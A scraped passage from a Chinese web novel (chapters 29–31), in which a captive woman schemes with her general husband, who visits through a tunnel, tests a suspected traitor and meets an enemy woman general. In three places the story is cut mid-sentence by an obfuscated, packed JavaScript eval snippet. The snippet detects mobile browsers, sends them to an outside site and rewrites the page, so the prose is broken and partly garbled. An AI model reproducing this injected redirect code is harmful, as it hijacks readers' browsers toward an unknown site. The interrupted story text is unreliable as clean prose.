齐锋眠缓缓掀起眼皮,撑着脸看她,片刻后,把玉在桌子上一点,手指微微动作,玉辗转到了食指与无名指之间,随即抬手,将玉放在了林清月腰带中,声音沉缓:“那我要你帮我向你们那位卧底,套一个话。” 林清月盯着他的动作,见他没越矩,回道:“自然可以。” 接着,又去看外头的人斗马,等到终于被送回了牢房,已经是夜晚,李驰看见他终于回来,死去的心活了过来,眼见着就要哭:“你终于回……” “憋回去。”林清月立马瞪他,见他抹把脸把眼泪憋回去才解释:“他们就问了问我那匹赤兔马的事情,没别的事,你别天天哭得跟我死了一样,当初你跟他们对骂的时候多威风,现在怎么就知道哭?” 她走过去,靠在窗边,看见他抓着铁栏杆可怜兮兮:“我憋不住。” “你一个打仗的人还泪失禁?”林清月觉得很是可笑,“那如果我让你炸人你会不会也哭啊?” 李驰眼睛都瞪圆了:“炸、炸人?” 他说的是二声调的炸。 林清月嘴角一抽,懒得纠正,掏出一个炸弹放在他眼前:“你看,这是什么?” 李驰正色:“嫂子你真要炸牢房啊?可炸了我们也逃不出去啊……” “我当然知道。”林清月靠近了一些,打算跟他好好讲讲自己的计划。 她牢房的角落却突然传来一声响。 轻轻的“砰”一声,停顿一会后,又是一声。 林清月:“……牢房会闹鬼?” 李驰:“也不是没有可能。” “……” 牢房昏暗阴凉,那角落里明明什么都没有,空荡荡的,却砰砰响着,一声又一声,让人心中发怵,林清月起了一身的鸡皮疙瘩。 她控制不住声音颤抖:“谁啊,出出来不许装神弄鬼!” 声音停了一下。 林清月:“……那个……” 忽然,猛烈的一声传来——“砰!” 二人都大叫起来,狱卒跑过来看了眼,啥也没看到,骂他们有病。狱卒回去接着睡觉,然后,林清月战战兢兢,重新看向拿块地,又听得“咔嚓”一声。 地,裂开了。 ?不对,是被掀开了?? 一个脑袋探出来,接着是整个上半身,他朝他们做了个噤声的手势,赤红的衣裳此刻沾满了灰尘,看清楚了是谁,林清月赶忙走过去,蹲下,双手捧着他的脸看来看去。 “……顾寻风,你搞什么鬼?”林清月顺手捏了下他的脸。 顾寻风扒开她的手,“说来巧了,我以前在这牢房待过。” “……牛。”林清月意识到这鬼地道是他搞出来的,眉间一抽,“你是狗吗这么会刨?” 顾寻风没搭腔,从他这个位置,可以清楚看到林清月腰间那块玉,他一顿,抬手往她腰间去,抽出那块玉。 林清月乐滋滋跟他说了自己诓那位大帅的事,顾寻风看了她一眼,又一眼,再一眼,等她终于说完了,垂着眉眼问:“所以,他就把他的家族信物送给你了?” 29. 无意调戏 “嗯是这……什么?!”林清月脑子差点就没拐过弯,她顿时从开心的情绪中清醒过来—— “你是说,这是那个大帅家族中的信物?不是……这种东西,他怎么可能给我啊,你看错了吧。” 顾寻风垂着眸子不知在想些什么。 玉绕着纤细的手指转了一圈,被他捻在手中,他的指腹揉搓着玉块表面的纹路,音色沉了沉:“没错。” 顾寻风低着脑袋,刘海垂下来,此刻只有腰身以上的身体从地道里出来了,林清月望不到他的神情,怕他误会什么,想把他拉出来好好解释一通。 但手还没碰到顾寻风的胳膊。 顾寻风又将玉放回她腰间,声音恢复平日里的清冽:“也好,这样说明他对你要多信任一些,你可以利用他一下,利用他对你的不一样。” 林清月被噎了一下,想到什么,问他:“顾寻风,你什么时候来的啊?” “卯时。”顾寻风回答得很快,抬眸,眸中意味不明,但他歪歪脑袋,看着没有什么坏心思,回答说:“我没睡觉,赶过来找你。” 略长的马尾动了动,发尾隐在黑暗里看不见。 接着他认真说:“此人阴险狡诈,人品不好,还滥杀无辜残虐百姓,他们姜国人都知道,改日我带你去姜国看看,你随便打听都能知道,我就是因为担心他会对你怎么样,所以想早点带你走。” 林清月对上那双真诚的眼瞳,内心不由得软了软,“……但我现在不能走。” 顾寻风道:“我送走你,会折回来把他也带走的。” 是指李驰。李驰微弱的声音在一旁飘过来:“不用管我也可以……” 而后被顾寻风一个眼刀瞪回去。 林清月无奈,垂眸看着他,这样的位置和姿势,她下意识抬手揉了揉他的脑袋,“不是这个原因,他们这边好像有什么计划,我想搞清楚,也好帮到你们,你放心,大炮那边有我的伙伴们,他们也是很厉害的。” 接着林清月想到那狡猾的大帅白日里说的话,提醒顾寻风道:“而且上回那大帅知道是你劫走了楚才,好在你之前就送了信回去,楚家人才没遭殃……” “什么信?”顾寻风一脸莫名其妙,“而且那个人一直都知道我在啊,我说过了,他阴险狡诈,你提防着点他,他脑子有病的。” 林清月:“……” 什么叫做一直知道你在。 所以这一切都是故意做出来给顾寻风看的? 那现在?? 顾寻风拉开自己头上那只猛的静止的手,淡定道:“我之前一把火烧了他军营,他记恨着我的,你现在又是我的妻子,我才担心你的安危。” “……早说我就跟你走了。” 惩罚就惩罚吧。 死到临头这些都不重要了。 林清月深呼吸,理清思绪问:“等会,你没给皇宫写信,那楚家那边保护的人是你派的?” 顾寻风更加莫名其妙了。 “什么保护的人?我军营人手都用不过来,顾紫烟也被我打包回来帮忙管军营了,我没有人手了呀?” “……”顾紫烟,为你悲惨的遭遇默哀一秒。 林清月也疑惑,“可都有皇宫的令牌啊,还到他们手中了。” 顾寻风罕见的沉默许久。 林清月还是想把他拉起来,这个位置,她根本就看不见他的神情,更别说猜到他在想什么了,就连说话都莫名感觉有些费劲。 她把手搭在他肩上拍了拍,“你出来吧,我们坐过去谈。” 顾寻风没有动作。 她转而去抓他手臂,要把他拉起来,那一瞬间却动作一顿,她感觉到顾寻风身体有些颤抖,像是害怕。 “顾寻风!” 林清月赶忙去摸他的脸,迫使他抬头看自己,这才看见他整张脸苍白如纸,像是活生生被拉入了梦魇。 “顾寻风,顾寻风……”她一遍遍喊着他的名字,鬼使神差低了低头,把额头相抵,“不要想些不好的东西,我在这里陪你呢。” 忽的,林清月感到有什么湿润的落在了自己手上,他又哭了。于是林清月把额头挪开,慌忙给他擦眼泪,他嘴唇抖了抖,眼睛无神望着她说:“陛下的母亲是苏周城之人。” 林清月一怔。 “她叫楚飞鱼,一个商女出身的皇后,很受宠爱,也手段狠辣。” “陛下恨她。” 林清月不清楚这些,有些懵逼,脑子差点没转过弯,她逼迫自己回神,稍微一转,便能想到,楚家是要遭殃了,却不是敌军干的。 她揉了揉顾寻风的脸,见他看向自己,轻轻说:“你听我的,不用管我,我会从这里逃出去,出去找你,你很挂念楚家的事的话,你就先回去。” 顾寻风白着一张脸,却倔强地摇摇头:“我来救你的。” “不用……”林清月的手紧了紧,还想捏他,无他,只是手感确实挺好的。 顾寻风抬手,手掌心覆上去,制止住了她的动作,顺便把她的手拉下去,面色恢复了些,甚至被她捏得有些发红。 “捎封信回去就行。”顾寻风又是不慌不忙,仿佛刚才的不是他一样,他把手挪到腰间拿出一卷羊皮,“我偷出来的布防图,你看看。” ……好一个轻描淡写的偷。 林清月一边打开羊皮卷一边问:“你不是说那人早发现你了,怎么偷到的?” 顾寻风道:“他也发现了啊。” 林清月一顿:“……” 顾寻风:“他抢又抢不过,追又追不上。” 林清月沉默片刻,纠正他:“那就不叫偷。” 羊皮卷已经展开来,林清月把它放在地上,顾寻风又不知从哪掏出一根毛笔,在上面写写画画,跟她讲着什么路线最好逃,只是林清月总觉得这笔熟悉得很。 顾寻风发现她眼神并不在图纸上,没讲几句便停下,他把手臂弯曲搁在洞口边沿,轻轻一撑便坐在了边沿上。 林清月有些反应不及,本在他对面的人忽然坐在了她旁边,羊皮纸也被换了个方向,她看得更清楚了。 “我在听。” “这笔是偷的时候顺走的,走之前蘸了点他的墨。放心,我刚偷完没多久就来了,还能用。” “……” 林清月抬头侧眸,这人坐在旁边,便比她高了。顾寻风外侧的一条腿弯曲着搁在边沿,那一侧的手臂也顺势放在膝盖上,在羊皮纸上写画之时一弯身,二人距离便更近了些。 被发带束起的马尾都随着动作拂过了肩头,几乎都要落在林清月身上,林清月脑子一抽,说:“你头发好香。” 顾寻风僵住:“……” 林清月:“……我在听。” “……真的吗。”顾寻风的声音听起来有些生无可恋,“我刚刚讲了什么。” 再次陷入沉默。 牢房里很安静,现在大晚上的,狱卒也都睡了,或许因为他们身份特殊,他们被关的位置也没什么其他人,现在就连老鼠都不肯出来吱一声,不然这样她还能有个台阶下。 世界都安静了,顾寻风的手已经收回去,身子也直回去,不再靠近。 林清月脑子一团浆糊,只是觉得现在太安静了,于是再次开口了。 “其实身上也挺香。” “?” “……对不起。” 林清月抓了抓脑袋,她有些崩溃,不知道自己是哪根筋搭错了,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050163|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然就开始调戏人家。她抬头委屈巴巴看向顾寻风试图解释:“我只是说说而已,别当真。” “…………”顾寻风更沉默了。他觉得这话听着有些不对,但他说不清是哪里不对。 更不对的是这人见他没反应,还主动靠过来撒娇,跟他说:“人总有犯错的时候,你不要这么小气,原谅我原谅我。” 顾寻风想他也没生气,干脆不说话了,默默把羊皮纸往自己这边拉了拉。画完了路线,才正经地清清嗓子问她:“他有没有让你做什么?” 见他不提这事,林清月也识趣不再说,回道:“有啊,他让我从李驰口中套情报,你不是都听见了的吗?” 顾寻风停顿了一下,说:“你们在帐篷里,我听不见。” 林清月不打算跟他多说,把他推了推,“好了你快去找个地方睡一觉吧,我自有计划,你回去都行,或者你想待在这里看着我,怕我背叛你,也都没关系,反正我发誓,我对将军忠心耿耿。” “你不用发誓。” 顾寻风收起羊皮卷放回腰间,不明意味笑了笑:“你队友还在我手上,我不怕你背叛我。” 林清月:“……” “你记着,那人不是个好东西,别轻易相信他,我不问你的计划,你不想说那就不说,总之我一直看着你的。” 说完,他就跳下洞口关闭洞门,一气呵成,咔嚓一声,这洞口严丝合缝没有丝毫破绽。 晚上,林清月躺在床上,脑子里都是顾寻风那句“我会一直看着你的”。 …… “李驰,你家将军……” “洗澡是挺勤的。” 林清月垂死病中惊坐起,一锤墙:“我没说这个!” 他们的床位相对,就隔着一道墙,贴近了墙面就能听到对方声音,李驰仿佛是被他一击惊醒了,惊慌问了句:“怎么了嫂子?” “……”算了不计较。 林清月重新问:“你家将军之前被抓来过?” 李驰道:“是啊,之前将军一个人把他们打得跪地求饶,所以呢,这边就派来了个大帅牵制,将军就不能时时刻刻顾得上我们,打起仗来我们就成了弱势……” 说到这,李驰的声音略显兴奋:“于是,将军就故意来偷情报被抓住,在这待了好长好长时间,我忘记有多长时间了,总之最后,将军把他们军营烧得光秃秃的,一根树枝都不剩,那大帅气得追到我们军营大门来了!” “……不过将军受了好多伤,回军营后,被他家里人抓回家休养了三个月。”李驰叹叹气,“将军是最关心我们的人了。” 林清月望着天花板,喃喃:“进了牢房,哪有不受伤的。” 音落,她笑起来,对李驰说:“所以啊,你们要更加努力,不能光靠将军了呀。你看你们副将,现在只要压压脾气,也算能独当一面了。” 墙的另一边沉默了许久。 这个军营从她接触到现在,她几乎已经了解透了,这样潦草破败、将士萎靡的军营能撑到现在也简直就是个奇迹,是顾寻风创造出来的奇迹。 既然绑定了这个军营,那首要的必然是整顿军营,这些日子她也算看出来了,这李驰是个胆小的,突然让她跟着自己去搞事情肯定行不通。 那既然这么仰慕你们将军—— 林清月扒在窗户上去看,见李驰坐在床沿,一脸郁闷。 “喂喂喂,李驰,你想不想让将军对你刮目相看?” 李驰眸光一闪:“想!” 于是林清月勾勾手指示意他过来,李驰虽疑惑,但还是过来了。 林清月唇角一勾,满目狡黠:“我教你个东西,咱们,也跟将军一样,把这军营搅他个天翻地覆!” 30. 打他一拳 对于李驰这个继承人的任务,林清月知道是急不来的,要让一个古代人去学他们这些东西,那太难了,现在也没有从头来学的时间。 而且,这李驰还是个怂的。 也不知道为什么选他做继承人。 果不其然,下一秒,李驰拼命摆手:“我我我不行的,我恐怕只会给将军添麻烦,这次的事情我都没做好……嫂子,将军不是说不会回去吗,你就找将军合作嘛……” 他小声嘟哝,都不敢看林清月,“至于我,我……我就算死了那也是应当的……” 林清月知道他非常自责,毕竟顾寻风派他来本是想当内应,却没想到这厮这么快就被抓了,还真被审出了什么。 林清月眼珠子一转,道:“这样,你告诉我你们将军原本究竟是有什么计划?” 李驰应了一声说:“他们姜国原本只是个附属小国,十年前,他们的先王把其他国吞并了,版图扩大,到如今新王继任,见我们内部矛盾愈演愈烈,于是就把心思打了过来。将军知道,所以一直想开战,把他们一网打尽。” 林清月点点头,思考。 懂了,也就是说现在他们所处的桑朝正是内忧外患,内忧不好解决,顾寻风便寻思着先把外头来犯的给打走。 “……原本都差不多了,结果他们来个大帅,也不主动开战,就一直拖到现在。”李驰叹气,“当初我们刚在这里站稳脚跟就被打,听说,陛下都打算放弃我们了,是将军硬要来,救了我们,也救了临沙关。” “不然,这地儿早就又被姜国夺过去了……” 每次说起顾寻风的事,李驰都滔滔不绝,林清月算是看出来,顾寻风于他们来说,简直是与救世主无异了。 林清月看着他,眼神中带上了探究,突然,轻轻一笑:“所以说了这么多——你是在跟我转移话题吗?李驰,你其实也很聪明谨慎的嘛。” 李驰本还在当将军的夸夸员,听到这话,身躯一震,慌忙摇头:“不是不是,我没有!” 林清月紧紧盯着他,嘴角的笑容若隐若现,“你应当是听到了我与将军说的话吧,你知道,我与这位大帅在谈合作,故而你并不相信我。” 她侧靠在墙面,斜眤过去,锐利的目光透过栏杆间的缝隙望过去,让李驰都后退了一步。 “你说将军想开战,噢,但我又不是傻子,我还是你嫂子呢,他想开战这心思,我会不知道?” “李驰,你从前就不怎么瞧得起我们的吧,怎么会态度转变这么快,突然就叫我嫂子啊?我想不通,你告诉我一下呗。” 李驰呼吸都急促起来,他连连后退,一只老鼠窜出来又把他绊倒,让他看起来狼狈不堪。 “不要这么着急嘛。”林清月又勾勾手,看着他颤颤巍巍过来,贴近了耳朵,才轻轻开口,“放心,你叛变的事,我不会告诉将军的,毕竟我也叛变了。” 若不是二人之间有堵墙隔着,林清月都觉得自己会被推飞出去,李驰一听她这么说,当即就抓住栏杆大吼:“我没有!分明就是你背叛了我们将军,就是你!” 林清月笑看着他龇牙咧嘴的模样,事情说出了口,他眼神中再也没有好意。 “不承认,没关系。”林清月没管他,回到床上坐着,靠在墙上睡去了,躺着是不可能的,她怕老鼠跑她头顶。 而李驰再没什么动静了。 其实最开始林清月也并没有觉得李驰有什么问题。 直到楚才来了。 她很奇怪,为什么楚才能在那么快的时间内做出偷东西这种事情,她原以为,是合着顾寻风一起演她的,是顾寻风不相信她,所以隐瞒。 但顾寻风那天一句话没说就听她的把楚才带走了。 她觉得这不太对。 而且根据她的打听,顾寻风一直是最在意军营的人,在意军营的一切。 可这次却对李驰…… 爱答不理的? 她不太信他们就因为一次形式婚姻就有这样的感情,让对方能把她放在第一位。 而那齐锋眠,不仅根本不在意她有夫之妇的身份,似乎非常笃定她与将军感情不深,谈了合作后还让她从李驰身上打探消息。 她这才猜测,她来到这里之前,李驰就已经反水了。不管是因为什么,总之,她被抓来这里,大概率有李驰的份。 但问题到这里了。 林清月又想。 李驰被选为继承人,不该是什么罪大恶极的人,所以她打算感化感化试试。 只是感化那是那么容易的呢。 三天时间,她除了被齐锋眠请去喝茶谈进度,就是跟李驰弯弯绕绕,李驰怎么也不肯承认,还一口咬定她是那个叛徒,林清月怀疑这就是李驰的目的——让所有人都觉得她背叛了将军。 只是谁知道呢,“将军这么看重我,唉,亏我还在将军面前说你好话,真是废了我一番苦心啊。” “你个泼妇,别想撬开我的嘴!” “齐锋眠知道你其实是假意投靠吗?你猜他知不知道?” “你闭嘴!” 李驰嘴硬得很,想搞她的心也硬得很,不管她怎么胡扯都什么也没说。 但奈何,顾寻风需要她啊。 而李驰?顾寻风都这么神通广大了,还能没猜到此事就是李驰这小兔崽子整出来的? 不过她与顾大将军都没交流过此事,她也不确定,顾大将军非要留在此陪她的目的究竟是什么。 “不行啊,那个齐锋眠什么也不说,这个李驰也不相信我。”当夜,顾寻风又一次通过密道来找到她,她适当诉诉苦,“我两边为难呀,什么情报都得不到。” 顾寻风依旧是坐在洞口边沿,听此也没说李驰什么,只挑挑眉,告诉她:“明日定会有所收获。” “明日?” 林清月将信将疑,“顾寻风,你说你什么都知道,怎么就是不肯跟我交流交流,你也不相信我?” 她拉住顾寻风的手臂叹气:“之前说的难道都是假的?” 顾寻风:“……”他说什么了? 见他皱着眉不解的模样,林清月摆摆手远离,“算了,又不记得了。” “……” 牢房静谧了片刻,然后传来对方坚定的声音:“我相信你。” 林清月立马来劲了:“那你告诉我你们到底是什么计划?” 顾寻风还没说什么,李驰先炸了,抓着栏杆摇晃,恨不得把墙给摇倒,“林清月你最好安分点!你背叛我们的事我们将军都没找你算账!” “喏,你家的。”林清月捂住耳朵耸耸肩,在李驰的怒吼声中对顾寻风说:“管管他吧,都嚣张成啥样了,在敌方军营还不老实,真不怕齐锋眠一个不耐烦弄死他。” 顾寻风笑了一下,忽然凑到她耳边—— “你不是都猜到了,还问我做什么?” 林清月望过去,没有逃离,反而朝他那边挪近了些。 她未躲,他也没退。 林清月笑眯眯:“我不懂将军的意思。” 顾寻风看着近在咫尺的人,眨下眼,然后稍稍一歪头,凑到了她耳边说:“此次行动,你才是关键,你尽管做,我保护你就好了。” 牢房冰冷,但温热的气息洒在颈间,平添几分暖意。 说完,顾寻风往后退,在退后的瞬间就下了洞,洞口也被关得严严实实,三天不见,也不知道这家伙睡哪在,睡树上吗? 林清月想着,笑出了声。她拍拍手站起来,朝李驰走过去。 李驰恨恨看着她:“你到底对我们将军做了什么?” 林清月咂嘴:“怎么,他喜欢我,你吃醋?” “你在说什么鬼话!” 李驰觉得自己头顶都在冒火。 这妖女,也不知道给将军下了什么迷魂汤,蛊惑将军跟她结婚不说,现在还让将军纵容了她与那敌军大帅亲近,简直荒唐…… “所以你想好没?”林清月现在都不屑于与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074604|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他面对面,抱着双手靠在墙上,懒洋洋的,“将军都信我,真不知道你还非要搞这些有的没的做什么,对我意见就这么大?” 李驰冷笑:“你个祸国殃民的妖女能有什么用,柔柔弱弱的……是能打仗还是怎么的?还不如那些个能和亲的公主有用!” 林清月握拳。 她想把这墙一炸弹炸开,然后过去给李驰一巴掌。 她觉得这家伙是吃硬不吃软。 但现在还不能冲动,且不说不一定真的打得过李驰,若真炸了,她好不容易跟齐锋眠维系的关系说不定都要破裂。 林清月深呼吸一口气,转身面对着李驰,忽而认真。 “李驰,你听着,现在不是开玩笑的时候,我们在敌营里,而将军已经在准备开战了。在这个节骨眼,齐锋眠把我抓来谈合作,是什么目的很难说——难不成你还真觉得,真就凭你几句话他就要抓来一个没用的小女子?” 李驰被她突如其来的认真弄得一愣,表情有些不自然,“那你跟那人不清不白也是事实……” “傻逼。” “……啊?” 林清月用眼睛比了比这栏杆之间的宽度,毫不犹豫伸出手去,纤细的手臂轻松穿过去,掐着李驰的下巴拉近,而后一拳下去,打在李驰右眼上。 隔着东西,一拳没多大的杀伤力,但由于打的是较为脆弱的眼睛,动作又突然。 李驰还是懵了。 “我说你傻逼。”林清月咬牙切齿重复一遍。 重复完了,气也打出去了,林清月才继续问他:“齐锋眠让你试探我的诚心吗?” 李驰这时还没反应过来,下意识就点了头。 点完了,他立马反应过来,大吼:“泼妇泼妇!你居然还套我话!你还打我!” 李驰恶言恶语:“等出去了我就打死你!!” 林清月看着他眼眶里的眼泪汪汪,淡定哦一声,又问:“所以你打算跟齐锋眠说我是假意,然后弄死我?因为发现将军来了,你怕事情败露被将军……” “你乱猜什么!”李驰急了,但她身上衣服破破烂烂,也没有能抓的地方,李驰发泄不了,收回的手砸在了墙上。 林清月便道:“那你说啊,你究竟跟齐锋眠都交易了什么。” 李驰呼吸很重,手背上破了皮流了血,眼睛也有些肿,眼泪控制不住簌簌往下落,声音都颤抖,但还是一个字一个字的,把话说得很清晰:“我说了,我没有背叛将军。” 可其他的,他又怎么都不肯说。 今天就到这,林清月懒得再理他,打也打了骂也骂了,这家伙还会哭,真烦人,会哭了不起啊! “早点休息。” 林清月丢下这么一句,没看对方神情,转身就去床上坐着浅眠。 这地方又冷又硬,几天下来都睡不好,林清月在谁口中都套不出什么计划,她也不敢跟齐锋眠提自己想换个地儿睡觉,毕竟第一个合作方任务都没完成。 只能寄希望于明日了。 翌日,齐锋眠照旧在午时让人带她过去,没有什么不同,还是问那些事儿。 “没有,他不说。” 林清月都快把回答背下来了。 齐锋眠倒是乐此不疲,每次就问她这么几个问题,变都不变一下。 然后就叫人带她回牢房。 还是这样…… 林清月跟着士兵走出去,思索着要不要做出一些改变,留下来。 还在思索怎么留,门口突然闯进来一个人。 女子穿着战时的盔甲,气冲冲掀帘进来,墨发飘扬在头顶,银冠耀眼,太阳光从后照射进来,把她身上的银铠都照得发亮。 然后被晃了眼的林清月就撞在了面前人的胸前。 “咣——” 林清月捂着脑袋,后退几步。 好硬的盔甲…… 接着,英气十足的音色,挟带着疑问闯入耳膜。 “他的宠妾?” 31. 刺他一刀 那女子身上有一股太阳的味道,威风凛凛,也朝气蓬勃,眉宇间都是正气,此刻望着林清月,她眉头皱了起来。 随后,齐锋眠说话了。 “表姐,你怎么突然来了,都没让人跟我说一声。” 林清月听得身后的声音越来越近,她还未解释什么,就被齐锋眠拉到了后面去。 “我不来,你当真要翻了天。”那女子走到齐锋眠之前坐的位置,端端正正坐着,查看着桌上摆的军事情报。 此刻的齐锋眠像是突然被检查课业的孩子一样,站在女子对面,时不时瞥一眼桌上被拿起来查看的竹简,语气有些唯唯诺诺的意思:“表姐……我也没做什么啊。” 林清月在他身后躲着,看得乐。 “唔……”女子思考着,换了另一个竹简看,“你敢说你没抓人来?” “……” “抓的还是人家夫人,一个手无寸铁的女子?” “……是他们先挑事的。” 女子把竹简扔回桌上,靠在椅子上盯着齐锋眠:“你还想军营被烧成灰是吗?” 齐锋眠讪笑:“没有……阿姐。” 那句“阿姐”跟撒娇似的。 “还有。”但那女子没想放过他,转头看向林清月,“行军打仗,带着个女人,你是想干嘛?把人家送回安全的地方待着去。” “……” 齐锋眠闭麦了,装听不见。 片刻后,在她凌厉的目光下,齐锋眠看向林清月,僵硬的介绍:“这是我表姐,孟放歌,我们姜国的一个女将军,你可能之前没听说过,最近才封的。” 林清月:“……” 难道这就是顾寻风说的变数? 只听孟放歌“啧”了一声:“齐锋眠,你翅膀硬了不听话了是不是?” 齐锋眠闭了闭眼,再开口,透露着几分将死的平淡:“阿姐,这位是顾大将军的新婚妻子。” …… 孟放歌:“?” “阿姐你听我说……” 眨眼间,一个巴掌就落在了齐锋眠的脸上,齐锋眠好像是习惯了,被打得语气一顿,然后继续解释:“……我是听说这位姑娘会造东西才把她请过来的。” 孟放歌冷笑:“请?” 她一步步绕过桌子走过来,“请得衣衫破烂,满身灰尘?” 齐锋眠自知逃不过,眼睛一闭,彻底摆了,“捆来的。” 又是一个巴掌。 林清月惊得没敢说话。不是,这么被人崇拜敬畏的一个人,这才几天啊,就被她看见了这么狼狈的一面,她不会被灭口吧。 林清月还在震惊且惶恐。 那边,孟放歌打完了人,当即命令:“放回去。” 齐锋眠把林清月往后推,表示拒绝:“表姐你听我说,我也是为大局着想,这位姑娘确实天赋异禀,我是想要招揽她的。” 孟放歌不解:“她是敌方将军的妻子,你让她与自己爱人为敌?这可能吗?我说过,打仗是我们这些大老粗的事儿,不要把人家姑娘拿过来当靶子。” 齐锋眠:“阿姐你不知道……” 齐锋眠还想解释什么。 这时,身后的姑娘说了话:“姐姐,我不是什么没用的小姑娘。” 孟放歌这才正眼瞧过去,见口中的这位小姑娘推开挡着自己的手臂走上前来,毫不畏惧,还笑得灿烂。 “我会可多东西了,而且,大帅也是知道我与将军只是奉旨成婚——所以才想招揽我的,对吧,大帅?”林清月偏头,看向齐锋眠。 齐锋眠掩住惊讶,微微笑,对孟放歌道:“阿姐不妨看了这位姑娘的才能再说。” “不必。”孟放歌看她几眼,坐回椅子上去,“我倒是也听说过,但就算如此,我也不会相信一个敌人……既然你不放,那就把她看紧些。” 齐锋眠松了口气,道:“我一直把她关在牢房。” “不要关牢房——” 孟放歌看着她笑,眸色深不可测,比齐锋眠还要难以读懂。 她一挥手,身边的女侍卫附耳过来,几句耳语后,她再次看向林清月,“给你准备了个帐篷,今后就麻烦姑娘关照了?” “……”林清月觉得指定有诈。 而且她与顾寻风,其实在牢房还更有机会见面些的。 她的帐篷被安排在了巡逻最严的位置,在孟放歌的隔壁,她想不出这样的环境,顾寻风还能怎么藏,她觉得估摸着是见不到了,她得靠自己试试。 夜晚,她去求见孟放歌。 那女侍卫想给她搜身,但见她一身破烂,犹豫一下,还是直接放她进了。 孟放歌此时已经卸了甲,侧靠在床头,手臂搁在曲起的膝盖上,琥珀色的裙尾落在地上,沾了些泥土。 “打扰将军休息。”林清月先作揖,再看向孟放歌,见对方正笑盯着自己,她咽了下口水,故作镇定,“我来是想跟将军说我与大帅合作的事。” 孟放歌问:“听说他让你跟那个卧底打探消息是吗?” 林清月点头。 孟放歌却没往后问,指了指圆桌,“坐吧。” 当然,林清月也没听她的,直挺挺站在原地,望着她,“我只有几句话,说完就走,不会再来叨扰将军。” “嗯?”孟放歌的眼神扫了她一遭。 林清月一边压着心跳,一边开口:“与大帅合作是我的意愿,我自知落入敌营,只是想自保。若将军不信我,可以把我带去观战,我比你们更熟悉他们的那些战略。” 似乎是被说动,孟放歌动了动身子,招招手让侍卫去把齐锋眠叫来,齐锋眠也穿的常服,似是要睡下,大半头发都披散了下来,进帐篷时还面带不虞。 孟放歌与他说了方才的事。 “嗯……也不是不行。” 齐锋眠坐在一旁思索,看向林清月问:“怎么,你在他们那边信用这么差,好几天了,一点情报他都不愿意跟你说?” 林清月回想跟李驰那些真真假假的对话,笑了一声:“大帅——不是都知道吗?” 烛火被风吹得晃了晃,齐锋眠的影子也模糊了一瞬。齐锋眠单手撑着脸靠在椅子上,面对的正是她的方向,笑得很假,“好,姑娘这几日便先好好休息吧,等到了时候,我会来找你的。” 林清月梗着脖子:“我想要准确时间,我不安心。” “你还怕我杀了你?”齐锋眠失笑,站起来走向她,哪想走一步,她便退一步,“……哈。” 齐锋眠不走了,抱起双手,笑眼弯弯,头一歪,懒懒说:“那劳烦姑娘等两日了。” 得了答案,林清月立马作揖:“好,多谢将军,多谢大帅,我这就回去不打扰了。” 她赶忙转身往外走。 但刚转身,忽然有人从身后拉住了她手腕,把她往后带。 林清月踉跄一步,而在眼前,一支箭擦着自己飘起的发丝飞过。 齐锋眠第一时间出去,拔出了腰间的弯刀。 林清月追出去,见高悬的月亮之下,红衣少年拉开弓,眼神张狂,箭头对准的,是她的命门。 刹那间,箭飞出。 齐锋眠手中弯刀一转,调转了方向,打掉这支箭。 他看向那个站在树枝上的少年,目光盯在他手中那镶嵌着蓝宝石的弓上。 “还我。” “不还。” 齐锋眠声音更冷了,转了转手中弯刀,似是威胁,咬牙切齿道:“这是我的东西,你个强盗。” 少年丝毫不慌,一掀衣袍坐在了树干上,“你偷我的妻子过来,你有多正人君子?” “……嘁。” 齐锋眠二话不说就冲了上去,手中弯刀直直的就划向对方喉咙,被躲过。少年仰头,借势往下倒,从树上掉落下来,落在地上却是稳稳的。 林清月看着那翩飞的红色衣摆和还在空中的马尾,在心里打了个满分。 谁承想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚说一个字,胸口又痛起来。 齐锋眠柔声道:“你先别说话了。” 然后转向孟放歌,皱着眉头说:“表姐,他把我们的弓拿走了。” 孟放歌点点头表示知道,“我已经让人去追了,不过多半追不到……把林姑娘送回去休息休息吧。” 说完,孟放歌就回了帐篷。 林清月从没被人这样打过,此时疼得走两步停一步,齐锋眠看不过去,打算直接把她抱回去,她深吸口气,婉拒道:“你等着,我站会顺顺气就好。” 这死人,简直不可理喻,这么做是为了帮她取得信任吧,但能不能轻点啊,她又不是什么习武的人,从小到大都没经历过这种事。 缓了会,林清月拂开齐锋眠的手,一瘸一拐自己朝帐篷走去。 “清月……” “我自己走。” 齐锋眠犹豫了一下,跟上去,这时远处又一支箭射过来,齐锋眠把箭打掉,看过去,但什么都没看到,一个人影都没有。 林清月只瞥了眼,兀自往帐篷走去,身后,齐锋眠在吩咐人去追。 她走得慢,到了帐篷内,齐锋眠已经跟过来,但被她拦住,“我自己休息会,大帅别忘了我们今日谈的事。” 关上帐帘,林清月赶忙坐回床边去翻百宝袋找药,掏了瓶正红花油出来,给脚腕消肿。 